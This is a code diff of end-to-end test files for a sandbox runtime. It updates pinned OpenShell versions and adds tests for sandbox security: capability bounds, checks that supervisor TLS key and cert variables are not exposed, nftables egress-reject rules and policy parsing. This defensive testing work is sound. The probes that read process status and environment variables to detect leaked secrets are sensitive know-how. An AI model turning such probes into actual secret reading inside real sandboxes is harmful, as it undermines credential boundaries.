--- a/test/e2e/support/mcp-bridge-runtime-compatibility-cli.test.ts
+++ b/test/e2e/support/mcp-bridge-runtime-compatibility-cli.test.ts
@@ -8,6 +8,7 @@ import path from "node:path";
 
 import { describe, expect, it } from "vitest";
 
+import { MCP_CREDENTIAL_BOUNDARY_OPENSHELL_VERSION } from "../../../src/lib/actions/sandbox/mcp-bridge-validation";
 import { MCP_BRIDGE_RUNTIME_COMPATIBILITY_ARTIFACT } from "../../../tools/e2e/mcp-bridge-runtime-compatibility.mts";
 
 const COMPATIBILITY_TOOL = path.resolve("tools/e2e/mcp-bridge-runtime-compatibility.mts");
@@ -75,11 +76,11 @@ describe.skipIf(process.platform === "win32")("MCP bridge compatibility CLI", ()
       expect(run.result.stderr).toBe("");
       expect(run.result.stdout).toContain("::notice title=OpenShell dev compatibility::");
       expect(run.result.stdout).not.toContain("0.0.78-dev.6+ga7271169");
-      expect(run.result.stdout).not.toContain("0.0.72");
+      expect(run.result.stdout).not.toContain(MCP_CREDENTIAL_BOUNDARY_OPENSHELL_VERSION);
       expect(fs.readFileSync(run.githubOutputPath, "utf8")).toBe(
         [
           "mode=expected-version-mismatch",
-          "expected_version=0.0.72",
+          `expected_version=${MCP_CREDENTIAL_BOUNDARY_OPENSHELL_VERSION}`,
           "actual_version=0.0.78-dev.6+ga7271169",
           "",
         ].join("\n"),
@@ -97,7 +98,7 @@ describe.skipIf(process.platform === "win32")("MCP bridge compatibility CLI", ()
         classificationStatus: "passed",
         compatibility: "unsupported-version",
         mode: "expected-version-mismatch",
-        expectedOpenShellVersion: "0.0.72",
+        expectedOpenShellVersion: MCP_CREDENTIAL_BOUNDARY_OPENSHELL_VERSION,
         actualOpenShellVersion: "0.0.78-dev.6+ga7271169",
         credentialBoundaryGate: "rejected-as-required",
         fullLifecycle: "not-run",
@@ -108,7 +109,7 @@ describe.skipIf(process.platform === "win32")("MCP bridge compatibility CLI", ()
         "the exact-version gate rejected the unsupported runtime as required",
       );
       expect(summary).not.toContain("0.0.78-dev.6+ga7271169");
-      expect(summary).not.toContain("0.0.72");
+      expect(summary).not.toContain(MCP_CREDENTIAL_BOUNDARY_OPENSHELL_VERSION);
     } finally {
       fs.rmSync(run.root, { force: true, recursive: true });
     }
diff --git a/test/e2e/support/mcp-bridge-sandbox.test.ts b/test/e2e/support/mcp-bridge-sandbox.test.ts
index 241b84dc7a..448a4bac35 100644
--- a/test/e2e/support/mcp-bridge-sandbox.test.ts
+++ b/test/e2e/support/mcp-bridge-sandbox.test.ts
@@ -167,21 +167,21 @@ describe("MCP curl policy denial classification", SUITE_OPTIONS, () => {
     }
   });
 
-  it("pins the resolve-validate-connect source contract to OpenShell v0.0.72", () => {
-    const commit = "8cb16de9eae4c44d7d31e1493747d8c10abb5963";
+  it("pins the resolve-validate-connect source contract to OpenShell v0.0.85", () => {
+    const commit = "3dee5570a46076a57a3b056f35f35ebc0861ac85";
     const sourcePath = "crates/openshell-supervisor-network/src/proxy.rs";
     const citations = [
-      `${sourcePath}:2476-2502`,
-      `${sourcePath}:2527-2567`,
-      `${sourcePath}:2622-2630`,
-      `${sourcePath}:822-832`,
-      `${sourcePath}:3885-3893`,
-      `${sourcePath}:4123-4125`,
+      `${sourcePath}:2648-2674`,
+      `${sourcePath}:2699-2739`,
+      `${sourcePath}:2794-2803`,
+      `${sourcePath}:1079-1081`,
+      `${sourcePath}:4093-4100`,
+      `${sourcePath}:4340-4342`,
     ];
 
     for (const docsPath of [
       "docs/deployment/set-up-mcp-bridge.mdx",
-      "docs/security/openshell-0.0.72-compatibility-review.mdx",
+      "docs/security/openshell-0.0.85-migration-review.md",
     ]) {
       const docs = fs.readFileSync(docsPath, "utf8");
       expect(docs, docsPath).toContain(commit);
@@ -296,7 +296,7 @@ network_policies:
       contractSource.indexOf("} finally {"),
     );
     expect(contractSource).toContain(
-      "https://github.com/NVIDIA/OpenShell/blob/8cb16de9eae4c44d7d31e1493747d8c10abb5963/",
+      "https://github.com/NVIDIA/OpenShell/blob/3dee5570a46076a57a3b056f35f35ebc0861ac85/",
     );
     expect(contractSource).not.toContain("host.nemoclaw");
     expect(contractSource).not.toContain("assertAdapterDnsRebindingDenied");
diff --git a/test/e2e/support/mcp-workflow-boundary.test.ts b/test/e2e/support/mcp-workflow-boundary.test.ts
index 6797c38e22..764a57c413 100644
--- a/test/e2e/support/mcp-workflow-boundary.test.ts
+++ b/test/e2e/support/mcp-workflow-boundary.test.ts
@@ -74,6 +74,47 @@ describe("MCP workflow artifact boundary", () => {
     }
   });
 
+  it.each([
+    {
+      expected: "mcp-bridge must isolate the credential generation-window proof to one shard",
+      mutate: (run: string) =>
+        run.replace('if [[ "$NEMOCLAW_MCP_BRIDGE_AGENT" == "deepagents" ]]; then', "if true; then"),
+      name: "runs on every shard",
+    },
+    {
+      expected: "mcp-bridge must run the credential generation-window lifecycle",
+      mutate: (run: string) =>
+        run.replace("test/e2e/live/openshell-credential-generation-window.test.ts", ""),
+      name: "is missing",
+    },
+    {
+      expected:
+        "mcp-bridge credential generation-window proof must publish canonical risk-signal evidence",
+      mutate: (run: string) => run.replace("--reporter=test/e2e/risk-signal-reporter.ts", ""),
+      name: "omits its risk-signal reporter",
+    },
+  ])("rejects a credential generation-window proof that $name", ({ expected, mutate, name }) => {
+    const directory = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-mcp-workflow-"));
+    const workflowPath = path.join(directory, "e2e.yaml");
+    try {
+      const workflow = YAML.parse(fs.readFileSync(".github/workflows/e2e.yaml", "utf8")) as {
+        jobs: Record<string, { steps: Array<{ name?: string; run?: string }> }>;
+      };
+      const run = workflow.jobs["mcp-bridge"].steps.find(
+        (step) => step.name === "Run MCP OpenShell provider live test",
+      );
+      requireFixture(run?.run, "MCP stable lifecycle fixture is missing");
+      const updatedRun = mutate(run.run);
+      requireFixture(updatedRun !== run.run, `credential generation-window proof ${name}`);
+      run.run = updatedRun;
+      fs.writeFileSync(workflowPath, YAML.stringify(workflow));
+
+      expect(validateMcpOpenShellWorkflowBoundary(workflowPath)).toContain(expected);
+    } finally {
+      fs.rmSync(directory, { force: true, recursive: true });
+    }
+  });
+
   it("rejects upload action or path drift from the reviewed shared boundary", () => {
     const directory = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-mcp-workflow-"));
     const workflowPath = path.join(directory, "e2e.yaml");
diff --git a/test/e2e/support/openshell-exact-main-child-contracts.test.ts b/test/e2e/support/openshell-exact-main-child-contracts.test.ts
new file mode 100644
index 0000000000..6e2e28d3bf
--- /dev/null
+++ b/test/e2e/support/openshell-exact-main-child-contracts.test.ts
@@ -0,0 +1,190 @@
+// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
+// SPDX-License-Identifier: Apache-2.0
+
+import { spawnSync } from "node:child_process";
+
+import { describe, expect, it, vi } from "vitest";
+
+import type { HostCliClient } from "../fixtures/clients/host.ts";
+import type { ShellProbeResult } from "../fixtures/shell-probe.ts";
+import {
+  assertExactMainChildProcessContracts,
+  CONNECT_CHILD_PROBE,
+  ENTRYPOINT_CHILD_PROBE,
+  EXEC_CHILD_PROBE,
+} from "../live/openshell-exact-main-exec.ts";
+
+const SANDBOX_NAME = "e2e-mcp-dcode";
+const CONTAINER_ID = "a".repeat(64);
+const EMPTY_ARTIFACTS = { result: "", stderr: "", stdout: "" };
+
+function probeResult(stdout: string, exitCode = 0, stderr = ""): ShellProbeResult {
+  return {
+    artifacts: EMPTY_ARTIFACTS,
+    command: [],
+    exitCode,
+    signal: null,
+    stderr,
+    stdout,
+    timedOut: false,
+  };
+}
+
+function childReport(
+  surface: "entrypoint" | "exec",
+  capBnd = "0000000000000000",
+  supervisorTlsEnvNames: string[] = [],
+): ShellProbeResult {
+  return probeResult(JSON.stringify({ capBnd, supervisorTlsEnvNames, surface }));
+}
+
+function fakeHost() {
+  const command = vi.fn();
+  const nemoclaw = vi.fn();
+  return {
+    command,
+    host: {
+      command,
+      nemoclaw,
+      openshellCommandPath: "/reviewed/openshell",
+    } as unknown as HostCliClient,
+    nemoclaw,
+  };
+}
+
+describe("OpenShell exact-main child contracts", () => {
+  it("keeps every embedded child probe syntactically executable", () => {
+    for (const source of [ENTRYPOINT_CHILD_PROBE, EXEC_CHILD_PROBE]) {
+      const compiled = spawnSync(
+        "python3",
+        ["-c", "import sys; compile(sys.argv[1], '<exact-main-child-proof>', 'exec')", source],
+        { encoding: "utf8" },
+      );
+      expect(compiled.status, compiled.stderr).toBe(0);
+    }
+    const parsed = spawnSync("bash", ["-n"], {
+      encoding: "utf8",
+      input: CONNECT_CHILD_PROBE,
+    });
+    expect(parsed.status, parsed.stderr).toBe(0);
+  });
+
+  it("proves entrypoint, exec, and forced-TTY connect children independently", async () => {
+    const { command, host, nemoclaw } = fakeHost();
+    command
+      .mockResolvedValueOnce(probeResult(`${CONTAINER_ID}\topenshell-${SANDBOX_NAME}-reviewed\n`))
+      .mockResolvedValueOnce(childReport("entrypoint"))
+      .mockResolvedValueOnce(
+        probeResult("NEMOCLAW_EXACT_MAIN_CONNECT_CHILD_OK CapBnd=0000000000000000\r\n"),
+      );
+    nemoclaw.mockResolvedValueOnce(childReport("exec"));
+
+    await assertExactMainChildProcessContracts(host, SANDBOX_NAME);
+
+    expect(command).toHaveBeenCalledTimes(3);
+    expect(nemoclaw).toHaveBeenCalledTimes(1);
+    expect(command.mock.calls[0]?.[1]).toEqual([
+      "ps",
+      "--no-trunc",
+      "--filter",
+      "label=openshell.ai/managed-by=openshell",
+      "--filter",
+      `label=openshell.ai/sandbox-name=${SANDBOX_NAME}`,
+      "--format",
+      "{{.ID}}\t{{.Names}}",
+    ]);
+    expect(command.mock.calls[1]?.[1]).toEqual(
+      expect.arrayContaining(["exec", "--user", "0", CONTAINER_ID, "python3", "-c"]),
+    );
+    expect(nemoclaw.mock.calls[0]?.[0]).toEqual(
+      expect.arrayContaining([SANDBOX_NAME, "exec", "--", "python3", "-c"]),
+    );
+    expect(command.mock.calls[2]?.[0]).toBe("bash");
+    expect(command.mock.calls[2]?.[1]).toEqual([
+      "-lc",
+      'printf \'%s\\n\' "$1" | "$2" sandbox connect "$3"',
+      "exact-main-connect-child",
+      CONNECT_CHILD_PROBE,
+      "/reviewed/openshell",
+      SANDBOX_NAME,
+    ]);
+    expect(CONNECT_CHILD_PROBE).toContain('"/proc/$$/status"');
+    expect(CONNECT_CHILD_PROBE).toContain('printenv "$name"');
+  });
+
+  it("rejects a successful-looking entrypoint report with any bounding capability", async () => {
+    const { command, host } = fakeHost();
+    command
+      .mockResolvedValueOnce(probeResult(`${CONTAINER_ID}\topenshell-${SANDBOX_NAME}\n`))
+      .mockResolvedValueOnce(childReport("entrypoint", "0000000000000001"));
+
+    await expect(assertExactMainChildProcessContracts(host, SANDBOX_NAME)).rejects.toThrow(
+      "entrypoint child expected full CapBnd=0",
+    );
+  });
+
+  it("rejects a successful-looking entrypoint report naming supervisor TLS identity", async () => {
+    const { command, host } = fakeHost();
+    command
+      .mockResolvedValueOnce(probeResult(`${CONTAINER_ID}\topenshell-${SANDBOX_NAME}\n`))
+      .mockResolvedValueOnce(childReport("entrypoint", "0000000000000000", ["OPENSHELL_TLS_KEY"]));
+
+    await expect(assertExactMainChildProcessContracts(host, SANDBOX_NAME)).rejects.toThrow(
+      "entrypoint child exposed supervisor TLS identity",
+    );
+  });
+
+  it.each([
+    ["any bounding capability", "0000000000000001", [], "exec child expected full CapBnd=0"],
+    [
+      "a supervisor TLS identity",
+      "0000000000000000",
+      ["OPENSHELL_TLS_CERT"],
+      "exec child exposed supervisor TLS identity",
+    ],
+  ])("rejects an exec report exposing %s", async (_case, capBnd, tlsNames, message) => {
+    const { command, host, nemoclaw } = fakeHost();
+    command
+      .mockResolvedValueOnce(probeResult(`${CONTAINER_ID}\topenshell-${SANDBOX_NAME}\n`))
+      .mockResolvedValueOnce(childReport("entrypoint"));
+    nemoclaw.mockResolvedValueOnce(childReport("exec", capBnd, tlsNames as string[]));
+
+    await expect(assertExactMainChildProcessContracts(host, SANDBOX_NAME)).rejects.toThrow(message);
+  });
+
+  it("rejects a mislabeled container before inspecting any process", async () => {
+    const { command, host } = fakeHost();
+    command.mockResolvedValueOnce(probeResult(`${CONTAINER_ID}\topenshell-unrelated-sandbox\n`));
+
+    await expect(assertExactMainChildProcessContracts(host, SANDBOX_NAME)).rejects.toThrow(
+      "unexpected OpenShell Docker container identity",
+    );
+    expect(command).toHaveBeenCalledTimes(1);
+  });
+
+  it("rejects connect success without one executed zero-bound marker", async () => {
+    const { command, host, nemoclaw } = fakeHost();
+    command
+      .mockResolvedValueOnce(probeResult(`${CONTAINER_ID}\topenshell-${SANDBOX_NAME}\n`))
+      .mockResolvedValueOnce(childReport("entrypoint"))
+      .mockResolvedValueOnce(probeResult("remote shell closed without proof\n"));
+    nemoclaw.mockResolvedValueOnce(childReport("exec"));
+
+    await expect(assertExactMainChildProcessContracts(host, SANDBOX_NAME)).rejects.toThrow(
+      "connect child emitted 0 proof markers",
+    );
+  });
+
+  it("rejects a connect marker reporting any bounding capability", async () => {
+    const { command, host, nemoclaw } = fakeHost();
+    command
+      .mockResolvedValueOnce(probeResult(`${CONTAINER_ID}\topenshell-${SANDBOX_NAME}\n`))
+      .mockResolvedValueOnce(childReport("entrypoint"))
+      .mockResolvedValueOnce(probeResult("NEMOCLAW_EXACT_MAIN_CONNECT_CHILD_OK CapBnd=1\n"));
+    nemoclaw.mockResolvedValueOnce(childReport("exec"));
+
+    await expect(assertExactMainChildProcessContracts(host, SANDBOX_NAME)).rejects.toThrow(
+      "connect child expected full CapBnd=0",
+    );
+  });
+});
diff --git a/test/e2e/support/openshell-exact-main-driver-config.test.ts b/test/e2e/support/openshell-exact-main-driver-config.test.ts
new file mode 100644
index 0000000000..c336ac6a18
--- /dev/null
+++ b/test/e2e/support/openshell-exact-main-driver-config.test.ts
@@ -0,0 +1,99 @@
+// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
+// SPDX-License-Identifier: Apache-2.0
+
+import { spawnSync } from "node:child_process";
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+
+import { afterEach, describe, expect, it, vi } from "vitest";
+
+import { createOpenShellDriverConfigTestWrapper } from "../live/openshell-driver-config-test-wrapper.ts";
+import {
+  EXACT_MAIN_DRIVER_CONFIG_JSON,
+  EXACT_MAIN_DRIVER_CONFIG_PROOF_ENV,
+  EXACT_MAIN_TMPFS_MOUNT,
+  prepareExactMainDriverConfigProof,
+} from "../live/openshell-exact-main-driver-config.ts";
+
+const originalProofEnv = process.env[EXACT_MAIN_DRIVER_CONFIG_PROOF_ENV];
+const restoreProofEnv =
+  originalProofEnv === undefined
+    ? () => Reflect.deleteProperty(process.env, EXACT_MAIN_DRIVER_CONFIG_PROOF_ENV)
+    : () => Reflect.set(process.env, EXACT_MAIN_DRIVER_CONFIG_PROOF_ENV, originalProofEnv);
+
+afterEach(() => {
+  restoreProofEnv();
+});
+
+describe("exact-main selected-driver config proof boundary", () => {
+  it("does not inject driver config outside the explicit candidate-main lane", async () => {
+    delete process.env[EXACT_MAIN_DRIVER_CONFIG_PROOF_ENV];
+    const add = vi.fn();
+
+    const proof = prepareExactMainDriverConfigProof({ cleanup: { add } } as never, "inactive");
+    expect(proof).toMatchObject({ active: false, envOverlay: {} });
+    await expect(proof.assertAfterOnboard()).resolves.toBeUndefined();
+    await expect(proof.assertAfterRebuild()).resolves.toBeUndefined();
+    expect(add).not.toHaveBeenCalled();
+  });
+
+  it("injects only the reviewed structured tmpfs config on sandbox create", () => {
+    const fixture = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-exact-main-driver-wrapper-"));
+    const delegate = path.join(fixture, "openshell-real");
+    fs.writeFileSync(delegate, "#!/bin/sh\nprintf '%s\\n' \"$@\"\n", {
+      encoding: "utf8",
+      mode: 0o700,
+    });
+    const wrapper = createOpenShellDriverConfigTestWrapper({
+      driverConfigJson: EXACT_MAIN_DRIVER_CONFIG_JSON,
+      label: "exact-main-driver-config",
+      realOpenshellPath: delegate,
+    });
+    try {
+      expect(JSON.parse(EXACT_MAIN_DRIVER_CONFIG_JSON)).toEqual({
+        docker: { mounts: [EXACT_MAIN_TMPFS_MOUNT] },
+        podman: { mounts: [EXACT_MAIN_TMPFS_MOUNT] },
+      });
+      expect(EXACT_MAIN_TMPFS_MOUNT).toEqual({
+        type: "tmpfs",
+        target: "/tmp/nemoclaw-exact-main-driver-config",
+        options: ["noexec"],
+        size_bytes: 16_777_216,
+        mode: 0o1777,
+      });
+      expect(EXACT_MAIN_DRIVER_CONFIG_JSON).not.toContain("selinux_label");
+      expect(EXACT_MAIN_DRIVER_CONFIG_JSON).not.toContain('"type":"bind"');
+
+      const create = spawnSync(wrapper.executable, ["sandbox", "create", "--name", "candidate"], {
+        encoding: "utf8",
+      });
+      expect(create.status, create.stderr).toBe(0);
+      expect(create.stdout.trimEnd().split("\n")).toEqual([
+        "sandbox",
+        "create",
+        "--driver-config-json",
+        EXACT_MAIN_DRIVER_CONFIG_JSON,
+        "--name",
+        "candidate",
+      ]);
+
+      const list = spawnSync(wrapper.executable, ["sandbox", "list"], {
+        encoding: "utf8",
+      });
+      expect(list.status, list.stderr).toBe(0);
+      expect(list.stdout.trimEnd().split("\n")).toEqual(["sandbox", "list"]);
+
+      const duplicate = spawnSync(
+        wrapper.executable,
+        ["sandbox", "create", "--driver-config-json", "{}"],
+        { encoding: "utf8" },
+      );
+      expect(duplicate.status).toBe(64);
+      expect(duplicate.stderr).toContain("refusing duplicate --driver-config-json");
+    } finally {
+      wrapper.remove();
+      fs.rmSync(fixture, { recursive: true, force: true });
+    }
+  });
+});
diff --git a/test/e2e/support/openshell-exact-main-runtime-contracts.test.ts b/test/e2e/support/openshell-exact-main-runtime-contracts.test.ts
new file mode 100644
index 0000000000..fe3ee384e6
--- /dev/null
+++ b/test/e2e/support/openshell-exact-main-runtime-contracts.test.ts
@@ -0,0 +1,148 @@
+// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
+// SPDX-License-Identifier: Apache-2.0
+
+import { spawnSync } from "node:child_process";
+
+import { describe, expect, it } from "vitest";
+
+import {
+  buildExactMainLiveExeIdentityScript,
+  inspectExactMainNftRuleset,
+  parseExactMainPolicyStatus,
+} from "../live/openshell-exact-main-runtime-contracts.ts";
+
+function match(left: Record<string, unknown>, right: string | number): Record<string, unknown> {
+  return { match: { left, op: "==", right } };
+}
+
+function rejectRule(family: "ipv4" | "ipv6", protocol: "tcp" | "udp") {
+  return {
+    rule: {
+      chain: "output",
+      expr: [
+        match({ meta: { key: "nfproto" } }, family),
+        match({ meta: { key: "l4proto" } }, protocol),
+        {
+          reject: {
+            expr: "port-unreachable",
+            type: family === "ipv4" ? "icmp" : "icmpv6",
+          },
+        },
+      ],
+      family: "inet",
+      table: "openshell_bypass",
+    },
+  };
+}
+
+function completeRuleset(): Record<string, unknown> {
+  return {
+    nftables: [
+      { metainfo: { json_schema_version: 1 } },
+      { table: { family: "inet", name: "openshell_bypass" } },
+      {
+        chain: {
+          family: "inet",
+          hook: "output",
+          name: "output",
+          policy: "accept",
+          prio: 0,
+          table: "openshell_bypass",
+          type: "filter",
+        },
+      },
+      {
+        rule: {
+          chain: "output",
+          expr: [
+            match({ payload: { field: "daddr", protocol: "ip" } }, "10.200.0.1"),
+            match({ payload: { field: "dport", protocol: "tcp" } }, 3128),
+            { accept: null },
+          ],
+          family: "inet",
+          table: "openshell_bypass",
+        },
+      },
+      {
+        rule: {
+          chain: "output",
+          expr: [match({ meta: { key: "oifname" } }, "lo"), { accept: null }],
+          family: "inet",
+          table: "openshell_bypass",
+        },
+      },
+      rejectRule("ipv4", "tcp"),
+      rejectRule("ipv6", "tcp"),
+      rejectRule("ipv4", "udp"),
+      rejectRule("ipv6", "udp"),
+    ],
+  };
+}
+
+describe("OpenShell exact-main policy, nft, and process-identity proof helpers", () => {
+  it("parses effective and stored revision identities without discarding version or hash", () => {
+    expect(
+      parseExactMainPolicyStatus(
+        JSON.stringify({
+          active_version: 17,
+          config_revision: 23,
+          hash: "sha256:effective",
+          policy_source: "sandbox",
+          sandbox: "e2e-mcp-dcode",
+          status: "effective",
+          version: 17,
+        }),
+      ),
+    ).toEqual({
+      activeVersion: 17,
+      configRevision: 23,
+      hash: "sha256:effective",
+      policySource: "sandbox",
+      sandbox: "e2e-mcp-dcode",
+      status: "effective",
+      version: 17,
+    });
+    expect(
+      parseExactMainPolicyStatus(
+        JSON.stringify({
+          active_version: 17,
+          hash: "sha256:effective",
+          sandbox: "e2e-mcp-dcode",
+          status: "loaded",
+          version: 17,
+        }),
+      ),
+    ).toMatchObject({ activeVersion: 17, status: "loaded", version: 17 });
+  });
+
+  it("requires the policy-accept chain, proxy/loopback accepts, and all four L4 rejects", () => {
+    expect(inspectExactMainNftRuleset(JSON.stringify(completeRuleset()))).toEqual({
+      chainPolicy: "accept",
+      loopbackAcceptIndex: 1,
+      proxyAcceptIndex: 0,
+      rejectIndexes: { ipv4Tcp: 2, ipv4Udp: 4, ipv6Tcp: 3, ipv6Udp: 5 },
+      ruleCount: 6,
+    });
+  });
+
+  it("rejects the feasible sequential-install partial state instead of calling it green", () => {
+    const partial = completeRuleset();
+    const entries = partial.nftables as Array<Record<string, unknown>>;
+    entries.pop();
+    expect(() => inspectExactMainNftRuleset(JSON.stringify(partial))).toThrow(
+      "expected exactly one ipv6 udp reject rule, got 0",
+    );
+  });
+
+  it("keeps the old live inode and new altered-path denial in one process-level probe", () => {
+    const script = buildExactMainLiveExeIdentityScript("https://mcp.example.test/mcp");
+    const syntax = spawnSync("bash", ["-n"], { encoding: "utf8", input: script });
+    expect(syntax.status, syntax.stderr).toBe(0);
+    expect(script).toContain('sha256sum "/proc/$old_pid/exe"');
+    expect(script).toContain("NEMOCLAW_EXACT_MAIN_REPLACEMENT");
+    expect(script).toContain("NEMOCLAW_LIVE_EXE_OLD_FIRST=%s");
+    expect(script).toContain("NEMOCLAW_LIVE_EXE_OLD_SECOND=%s");
+    expect(script).toContain("NEMOCLAW_LIVE_EXE_NEW=%s");
+    expect(script).toContain('[ "$new_status" = 403 ]');
+  });
+});
diff --git a/test/e2e/support/openshell-gateway-upgrade-workflow-boundary.test.ts b/test/e2e/support/openshell-gateway-upgrade-workflow-boundary.test.ts
index 8fc67ca1a7..4a6e6cf18d 100644
--- a/test/e2e/support/openshell-gateway-upgrade-workflow-boundary.test.ts
+++ b/test/e2e/support/openshell-gateway-upgrade-workflow-boundary.test.ts
@@ -22,7 +22,7 @@ import {
 } from "../live/openshell-gateway-upgrade-helpers.ts";
 
 describe("OpenShell gateway upgrade workflow boundary", () => {
-  it("pins the v0.0.55 x86_64 and arm64 fixtures to the canonical live test (#6114)", () => {
+  it("pins architecture and immediate-predecessor fixtures to the canonical live test (#6114)", () => {
     const workflow = readOpenShellGatewayUpgradeWorkflow();
     expect(validateOpenShellGatewayUpgradeWorkflow(workflow)).toEqual([]);
     expect(validateE2eWorkflowBoundary()).toEqual([]);
@@ -36,6 +36,7 @@ describe("OpenShell gateway upgrade workflow boundary", () => {
     fixtures.find((fixture) => fixture.id === "v0.0.55-x86_64")!.sandbox_base_image_ref =
       "ghcr.io/nvidia/nemoclaw/sandbox-base@sha256:104151ffadc2ff0b6c815e3c95c2783ced61aee0d0f83fc327cc02be9b7e14e6";
     fixtures.find((fixture) => fixture.id === "v0.0.55-aarch64")!.runner = "ubuntu-latest";
+    fixtures.find((fixture) => fixture.id === "v0.0.74-x86_64")!.openclaw_version = "latest";
     (job.env as Record<string, unknown>).NEMOCLAW_E2E_SHARD = "default";
     const run = (job.steps as Array<Record<string, unknown>>).find(
       (step) => step.name === "Run OpenShell gateway upgrade live Vitest test",
@@ -46,6 +47,7 @@ describe("OpenShell gateway upgrade workflow boundary", () => {
       expect.arrayContaining([
         "openshell-gateway-upgrade must run on ${{ matrix.runner }}",
         "openshell-gateway-upgrade v0.0.55 matrix must pin x86_64 and arm64 upgrade fixtures",
+        "openshell-gateway-upgrade matrix must pin the immediate v0.0.74 x86_64 upgrade fixture",
         "openshell-gateway-upgrade must publish one risk-signal shard per legacy fixture",
         "openshell-gateway-upgrade step 'Run OpenShell gateway upgrade live Vitest test' must run: npx tsx tools/e2e/live-vitest-invocation.mts run --test-path test/e2e/live/openshell-gateway-upgrade.test.ts",
       ]),
diff --git a/test/e2e/support/platform-parity-cloud-experimental.test.ts b/test/e2e/support/platform-parity-cloud-experimental.test.ts
index a1dbed4e40..238b07b8a3 100644
--- a/test/e2e/support/platform-parity-cloud-experimental.test.ts
+++ b/test/e2e/support/platform-parity-cloud-experimental.test.ts
@@ -250,7 +250,7 @@ describe("P0-E cloud-experimental parity guardrails", () => {
     );
   });
 
-  it("keeps Deep Agents Python egress probe commands single-line for OpenShell exec", () => {
+  it("passes Deep Agents Python egress probes as native multiline argv", () => {
     const result = spawnSync(
       "bash",
       [
@@ -271,13 +271,10 @@ describe("P0-E cloud-experimental parity guardrails", () => {
     expect(result.status).toBe(0);
     const commands = result.stdout.trim().split("\n");
     expect(commands).toHaveLength(2);
-    expect(commands[0]).toMatch(/^SINGLE_LINE_COMMAND:python3 -c /);
-    expect(commands[1]).toMatch(
-      /^SINGLE_LINE_COMMAND:\/usr\/local\/lib\/nemoclaw\/dcode-managed-exec \/opt\/venv\/bin\/python3 -c /,
-    );
+    expect(commands).toEqual(["NATIVE_MULTILINE_ARGV", "NATIVE_MULTILINE_ARGV"]);
   });
 
-  it("keeps Deep Agents fetch_url probe command single-line for OpenShell exec", () => {
+  it("passes the Deep Agents fetch_url probe as native multiline argv", () => {
     const result = spawnSync(
       "bash",
       [
@@ -296,7 +293,7 @@ describe("P0-E cloud-experimental parity guardrails", () => {
     );
 
     expect(result.status).toBe(0);
-    expect(result.stdout.trim()).toBe("NO_NEWLINE_IN_FETCH_COMMAND");
+    expect(result.stdout.trim()).toBe("NATIVE_MULTILINE_ARGV");
   });
 
   it.each([
@@ -344,7 +341,7 @@ describe("P0-E cloud-experimental parity guardrails", () => {
     expect(`${result.stdout}\n${result.stderr}`).toContain(expected);
   });
 
-  it("keeps Deep Agents secret-boundary probe command single-line for OpenShell exec", () => {
+  it("keeps the Deep Agents secret-boundary probe as one atomic shell expression", () => {
     const result = spawnSync(
       "bash",
       [
@@ -363,10 +360,10 @@ describe("P0-E cloud-experimental parity guardrails", () => {
     );
 
     expect(result.status).toBe(0);
-    expect(result.stdout).toContain("NO_NEWLINE_IN_COMMAND");
+    expect(result.stdout).toContain("ATOMIC_COMMAND");
   });
 
-  it("keeps Deep Agents Tavily opt-in probe command single-line for OpenShell exec", () => {
+  it("passes the Deep Agents Tavily probe as native multiline argv", () => {
     const result = spawnSync("bash", [dcodeTavilyCheck], {
       encoding: "utf8",
       env: {
@@ -376,7 +373,7 @@ describe("P0-E cloud-experimental parity guardrails", () => {
     });
 
     expect(result.status).toBe(0);
-    expect(result.stdout).toContain("NO_NEWLINE_IN_COMMAND");
+    expect(result.stdout).toContain("NATIVE_MULTILINE_ARGV");
   });
 
   it.each([
diff --git a/test/exit-code-user-error-surfaces.test.ts b/test/exit-code-user-error-surfaces.test.ts
index 7328ff33d0..07a180ba8d 100644
--- a/test/exit-code-user-error-surfaces.test.ts
+++ b/test/exit-code-user-error-surfaces.test.ts
@@ -265,7 +265,7 @@ describe("onboard dashboard-port exhaustion exits non-zero (#5974)", () => {
           "#!/usr/bin/env bash",
           "# openshell capabilities: request-body-credential-rewrite websocket-credential-rewrite allow_all_known_mcp_methods",
           'case "${1:-}" in',
-          '  -V|--version) printf "%s 0.0.72\\n" "${0##*/}"; exit 0;;',
+          '  -V|--version) printf "%s 0.0.85\\n" "${0##*/}"; exit 0;;',
           "esac",
           "exit 1",
         ].join("\n"),
diff --git a/test/fixtures/openshell-v0.0.85 b/test/fixtures/openshell-v0.0.85
new file mode 100755
index 0000000000..ab33aefbff
--- /dev/null
+++ b/test/fixtures/openshell-v0.0.85
@@ -0,0 +1,8 @@
+#!/bin/sh
+# SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
+# SPDX-License-Identifier: Apache-2.0
+
+if [ "$#" -ne 1 ] || [ "$1" != "--version" ]; then
+  exit 64
+fi
+printf '%s\n' 'openshell 0.0.85'
diff --git a/test/gateway-state-reconcile-2276.test.ts b/test/gateway-state-reconcile-2276.test.ts
index 4b3d00da50..40679dd55d 100644
--- a/test/gateway-state-reconcile-2276.test.ts
+++ b/test/gateway-state-reconcile-2276.test.ts
@@ -124,7 +124,7 @@ function emit(r) {
 }
 
 if (args[0] === "-V" || args[0] === "--version") {
-  process.stdout.write("openshell 0.0.72\\n");
+  process.stdout.write("openshell 0.0.85\\n");
   process.exit(0);
 }
 
@@ -180,7 +180,7 @@ process.exit(0);
       path.join(homeLocalBin, component),
       `#!${process.execPath}
 const requiredFeatures = "request-body-credential-rewrite websocket-credential-rewrite allow_all_known_mcp_methods";
-if (process.argv[2] === "-V" || process.argv[2] === "--version") process.stdout.write("${component} 0.0.72\\n");
+if (process.argv[2] === "-V" || process.argv[2] === "--version") process.stdout.write("${component} 0.0.85\\n");
 process.exit(0);
 `,
       { mode: 0o755 },
diff --git a/test/hermes-doctor-config-hash.test.ts b/test/hermes-doctor-config-hash.test.ts
index 6c846edf85..f176b740ee 100644
--- a/test/hermes-doctor-config-hash.test.ts
+++ b/test/hermes-doctor-config-hash.test.ts
@@ -69,7 +69,7 @@ describe("Hermes doctor and config hash boundary", () => {
